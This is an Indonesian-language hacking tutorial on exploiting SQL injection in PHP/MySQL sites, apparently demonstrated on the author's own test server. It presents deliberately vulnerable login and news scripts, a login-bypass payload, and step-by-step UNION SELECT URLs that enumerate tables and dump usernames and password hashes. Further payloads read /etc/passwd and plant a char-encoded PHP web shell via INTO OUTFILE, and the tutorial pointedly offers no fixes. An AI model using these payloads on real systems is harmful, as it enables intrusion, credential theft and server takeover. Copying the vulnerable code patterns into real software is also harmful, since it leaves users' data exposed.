# I always said if i hate web hacking, sure it just waste my
time
# But it doesn't mean that i can't do a hacking through
website.
# inject vulnerable website through SQL injection. Fuck this
with
# your brain son.
Title:
Exploiting SQL Injection
Author :
you-know-who-i-am @#$%!^&*()|@#$
--[1]-- Introduction
Website
merupakan media komunikasi yang saat ini sudah sangat banyak digunakan baik
oleh personal, organisasi, maupun perusahaan. Penggunaan website sebagai media
komunikasi tidak terlepas dari menjamurnya internet. Penggunaan media website
cukup memberikan banyak keuntungan bagi organisasi maupun perusahaan, tetapi
bisa menjadi ancaman tersendiri bagi asset organisasi atau perusahaan.
Banyak sekali
celah keamanan yang ditemukan pada aplikasi website memungkinkan pihak tidak
bertanggung jawab dalam mencuri asset organisasi atau perusahaan. Beberapa
celah keamanan website yang sangat populer adalah SQL injection, File
Inclussion, Cross Site Scripting (XSS), Cross Site Request Forgery(CSRF), dan
baru baru ini ditemukan celah client side yang cukup berbahaya yaitu
Clickjacking.
--[2]-- Review SQL Injection
SQL injection merupakan serangan
dengan memanfaatkan cacat programming pada aplikasi website untuk
mengeksploitasi database server. Selama database server berbasiskan SQL
terkoneksi ke website yang vulnerable, serangan SQL injection tetap bisa
dilakukan tidak peduli bahasa pemrograman (CFM,ASP,PHP,JSP, dst) dan DBMS (Ms
SQL, MySQL, Oracle, PostgreSQL, dst) yang digunakaan.
SQL injection dilakukan dengan
memanfaatkan inputan user yang tidak tervalidasi dengan baik. Pihak tidak
bertanggung jawab bias menginputkan meta karakter pada inputan user tersebut
kemudian dieksekusi oleh website dan dikirim ke database. Database server
memproses meta karakter tersebut sebagai query SQL yang wajar. Proses SQL
injection biasanya memanfaatkan meta karakter dan logika SQL sehingga pihak
tidak bertanggung jawab bisa memodifikasi query SQL semaunya.
Akibat dari serangan SQL
injection biasanya berupa pencurian record database yang cukup confidential
seperti username, password, email, bahkan nomor kartu kredit. Selain itu SQL
injection juga biasa dimanfaatkan untuk mencuri login admin dan melakukan take
over server sepenuhnya.
Sebagai proof of concept, saya mengujikan serangan SQL
injection ini pada mesin Ubuntu 8.10 dilengkapi dengan Apache, PHP, dan MySQL.
--[3]-- Server Configuration
magic_quotes_gpc=
Off
Tidak ada security module pada apache.
--[4]-- SQL injection in Form Login
SQL injection
pada form login merupakan tipe yang paling sederhana,walaupun demikian masih banyak sekali website
yang vulnerable dengan celah keamanan ini. SQL injection ini dimanfaatkan untuk
membypass proses login. Seorang attacker bisa login dengan username tanpa
password bahkan tanpa username dan password. Untuk menjelaskan proses
terjadinya serangan SQL injection tipe ini, berikut sebuah contoh code yang
bisa dieksploitasi.
<html>
<head><title>login</title></head>
<!-- Ini file login.php -->
<body><br/><br/>
<center>
<form
action="doLogin.php" method="POST">
<table
border="0">
<tr>
<td><font size="2"
face="verdana">Username</td>
<td> :</td>
<td><input type="text"
name="username"></td>
</tr>
<tr>
<td><font size="2"
face="verdana">Password</td>
<td> :</td>
<td><input type="password"
name="password"></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td><input type="submit"
value="doLogin"></td>
</tr>
</table>
</form>
</center>
</body>
</html>
<?php
/*Ini file doLogin.php*/
define('DBHOST','localhost');
define('DBUSER','root');
define('DBPASS','root123');
define('DBNAME','sqlpoc');
$pass = md5($_POST['password']);
mysql_connect(DBHOST,DBUSER,DBPASS) or die(mysql_error());
mysql_select_db(DBNAME) or die(mysql_error());
/*vulnerable query*/
$query = "SELECT * FROM tblUser WHERE username =
'" . $_POST['username']
. "' AND password = '" . $pass . "'";
$q = mysql_query($query);
if(mysql_num_rows($q)!=0){
$r=mysql_fetch_object($q);
echo "<pre>You
are login as " . $r->namaLengkap .
"</pre><br/>\n";
}else{
die('<pre>Sorry, login
failed!</pre>');
}
?>
Saya menggunakan tabel 'tblUser'
sederhana sebagai backend code di atas yang isinya sebagai berikut :
Setalah semua disiapkan, saya
mencoba melakukan proses login dengan membuka http://example.com/login.php
Saya menggunakan username 'anto'
dan password 'anto123' yang merupakan pasangan login valid. Output dibrowser
sebagai berikut: "You are login as Atik Pilihanto"
Kemudian saya menggunakan
username 'admin' dan password 'apasaja' yang merupakan pasangan login tidak
valid (password seharusnya admin123). Output dibrowser adalah "Sorry,
login failed!"
Celakanya parameter username dan
password tidak disanitasi lebih dahulu sebelum diinputkan ke query MySQL.
Seorang attacker bisa memanipulasi inputan login untuk membypass proses
authentikasi, misalnya dengan
username = admin' OR 'a'='a
password = terserah
Pasangan login ini bisa digunakan
untuk membypass login 'admin' dan dianggap sebagai login valid. Output browser
sebagai berikut:
"You are login as Administrator"
Proses ini bisa dijelaskan dengan
menginputkan username dan password tersebut pada query MySQL doLogin.php
menjadi:
SELECT * FROM tblUser WHERE username = 'admin' OR 'a'='a'
AND password = 'e00b29d5b34c3f78df09d45921c9ec47'
Jika dianalisis query tersebut
memberikan nilai TRUE untuk user 'admin', operasi dimulai dari operator AND
(ingat operator AND lebih didahulukan dibanding OR layaknya perkalian terhadap
penjumlahan) [ref.i ]. Terima kasih
kepada seorang temen, PHP programmer, sekaligus dosen yang tidak bisa saya
sebutkan namanya telah memberi ide mengenai "operator precendence".
'a'='a' AND password = 'e00b29d5b34c3f78df09d45921c9ec47'
=> TRUE AND FALSE hasilnya FALSE, kemudian:
'admin' OR FALSE
hasilnya tentu saja adalah
'admin', sehingga ketika dimasukkan inputan username dan password seperti demikian
bisa digunakan untuk membypass authentikasi.
--[5]-- SQL injection in URI parameters
SQL injection pada parameter URI
jauh lebih banyak ditemukan dibandingkan pada form login. Bahkan sering
ditemukan pada Content Management System (CMS) yang sudah mature sekalipun.
Sayangnya SQL injection jenis ini lebih sulit untuk dieksploitasi bahkan kadang
bias dikatakan sangat sulit. Butuh imaginasi dan kreatifitas tinggi untuk mengeksploitasi
beberapa jenis SQL injection pada parameter URI. Contoh code berikut digunakan
untuk menampilkan sebuah berita dengan mengambil parameter dari URI.
<?php
/*Ini file doLogin.php*/
define('DBHOST','localhost');
define('DBUSER','root');
define('DBPASS','root123');
define('DBNAME','sqlpoc');
mysql_connect(DBHOST,DBUSER,DBPASS) or die(mysql_error());
mysql_select_db(DBNAME) or die(mysql_error());
/*vulnerable query*/
if(isset($_GET['aid']) AND !empty($_GET['aid'])){
/*vulnerable query*/
$query = "SELECT
* FROM news WHERE id=" . $_GET['aid'] ;
$q =
mysql_query($query);
if(mysql_num_rows($q)!=0){
$r=mysql_fetch_object($q);
echo
"<pre>[news] " . $r->judul . "</pre>\n";
echo
"<pre>" . $r->isi . "</pre><br/>\n";
}else{
die('<pre>Sorry, article is not found!</pre>');
}
}else{
echo
"<pre>This is homepage</pre><br />\n";
}
?>
Saya menggunakan tabel 'news'
sederhana sebagai backend code di atas yang isinya sebagai berikut :
Setelah semua disiapkan, saya merequest file news.php seperti
berikut :
http://example.com/news.php, maka pada browser ditampilkan
"This is homepage"
http://example.com/news.php?aid=1,
maka pada browser ditampilkan "[news] Facebook Hacked
Facebook Hacked days ago, so many
personal information were stolen!"
Siapapun bisa mengubah-ubah
parameter "?aid=", celakanya variable $_GET['aid'] tidak disanitasi
terlebih dahulu dan digunakan sebagai parameter untuk men-query tabel di
database. Hal ini bisa dimanfaatkan oleh attacker untuk mengeksekusi sembarang
perintah SQL sekehendaknya. Berikut ini step by step sederhana yang biasa
digunakan oleh attacker untuk mencuri data pada server.
(i). Pengujian apakah sebuah website vulnerable, bisa
dilakukan dengan
memanfaatkan logika AND.
http://example.com/news.php?aid=1 AND 1=1--
Logika AND 1=1 memberikan nilai TRUE, sehingga browser
menampilkan informasi sewajarnya untuk aid=1.
http://example.com/news.php?aid=1 AND 1=0--
Logika AND 1=0 meberikan nilai
FALSE, sehingga browser tidak menampilkan hasil untuk aid=1. Jika kondisi ini terjadi
pada suatu website, ada kemungkinan website tersebut vulnerable dengan serangan
SQL injection.
(ii). Menentukan berapa jumlah field yang digunakan pada
query SQL di file news.php dengan UNION SELECT.
http://example.com/news.php?aid=1 UNION SELECT 1--
http://example.com/news.php?aid=1 UNION SELECT 1,2--
http://example.com/news.php?aid=1 UNION SELECT 1,2,3--
Pada request pertama dan kedua, browser menampilkan error
menandakan jumlah field belum sama. Pada request ketiga browser menampilkan
hasil yang sewajarnya untuk aid=1 yang menandakan jumlah field pada table adalah
3.
(iii). Menentukan field mana saja yang ditampilkan di
browser.
http://example.com/news.php?aid=-1 UNION SELECT 1,2,3--
Pada kondisi ini diketahui bahwa field yang ditampilkan di
website adalah field nomor 2 dan 3, hal ini diketahui dari output di browser sebagai
berikut
[news] 2
3
(iv). Menentukan user yang digunakan dan database tempat
tabel disimpan.
http://example.com/news.php?aid=-1 UNION SELECT
1,database(),user()--
Dari output dibrowser diketahui bahwa database yang
digunakan adalah 'sqlpoc' dengan username 'root'.
[news] sqlpoc
root@localhost
(v). User 'root' pada DBMS MySQL
merupakan user yang memiliki access paling tinggi dan diizinkan menjalankan
semua query SQL. Bagaimana jika anda tidak mendapatkan user 'root'? Walaupun
banyak keterbatasan tetapi hampir semua user pasti mendapat akses ke query
'SELECT'.
(vi). Masih dengan menggunakan
UNION SELECT, dapatkan informasi table apa saja yang ada pada database 'sqlpoc'
dengan meng-query record pada information_schema.tables sebagai berikut:
http://example.com/news.php?aid=-1
UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE
table_schema=database()--
Dari hasil query ini diketahui
bahwa ada dua buah tabel pada database 'sqlpoc' yaitu tabel 'news' dan tabel
'tblUser'.
(vii). Selanjutnya saya ingin
melihat isi 'tblUser', untuk itu saya harus mengetahui field apa saja pada
tabel tersebut dengan cara meng-query information_schema.columns sebagai berikut:
http://example.com/news.php?aid=-1
UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns
WHERE table_name='tblUser'--
Dari hasil query ini diketahui
bahwa ada enam buah field pada table 'tblUser' yaitu : id,username,password,namaLengkap,Alamat,
dan Pekerjaan.
(viii). Langkah terakhir adalah mendapatkan isi tabel
'tblUser'. Misal saya ingin tahu isi field username,password, dan nama lengkap
maka:
http://example.com/news.php?aid=-1 UNION SELECT
1,2,CONCAT_WS(0x2c,username,password,namaLengkap) FROM tblUser--
http://example.com/news.php?aid=-1 UNION SELECT
1,2,CONCAT_WS(0x2c,username,password,namaLengkap) FROM tblUser WHERE
username!='admin'--
(ix). Selain digunakan untuk
melakukan pencurian record database, SQL injection pada PHP MySQL juga bisa
digunakan untuk melakukan pembacaan file, contohnya:
http://example.com/news.php?aid=-1
UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--
Dari hasil query ini, pada
browser akan ditampilakn isi file /etc/passwd. LOAD_FILE() bisa digunakan
selama user yang meng-query memiliki akses FILE.
(x). SQL injection juga bisa
digunakan untuk meletakkan backdoor web shell.
Untuk pembuatan backdoor web
shell dibutuhkan direktori yang bias ditulisi oleh user MySQL dan bisa diakses
via web. Biasanya harus pada direktori dengan permisi 777. Misalnya direktori
/var/www/html/images bisa ditulisi oleh user MySQL maka backdoor web shell bisa
dibuat dengan
http://example.com/news.php?aid=-1 UNION SELECT
"",2,3 INTO OUTFILE
'/var/www/html/images/bd.php'
Jika gagal gunakan kreatifitas anda, misalnya query di atas
bisa diubah menjadi
http://example.com/news.php?aid=-2 UNION SELECT
1,1,CONCAT(char(0x3c),char(0x3f),char(0x70),char(0x68),char(0x70),char(0x20),char(0x73),char(0x79),char(0x73),char(0x74),char(0x65),char(0x6d),char(0x28),char(0x24),char(0x5f),char(0x47),char(0x45),char(0x54),char(0x5b),char(0x27),char(0x63),char(0x6d),char(0x64),char(0x27),char(0x5d),char(0x29),char(0x3b),char(0x20),char(0x3f),char(0x3e))
INTO OUTFILE '/var/www/html/images/a.php'--
Backdoor web shell kemudian bisa diakses sebagai berikut
(misalnya mengeksekusi perintah 'id')
http://example.com/images/bd.php?cmd=id
Sebuah catatan, kadang proses
injeksi query SQL bisa di terminate dengan /* yang membuat semua karakter dibelakang
tanda tersebut menjadi sebuah comment. Mudah-mudahan pembahasan yang cukup
sederhana ini bisa membuka pemahaman bagi mereka yang sedang belajar SQL
injection. Please, don't ask me again about this material!
--[6]-- Close Word
It's done in exploiting, how to fix them? patch your brain
first thenask the google!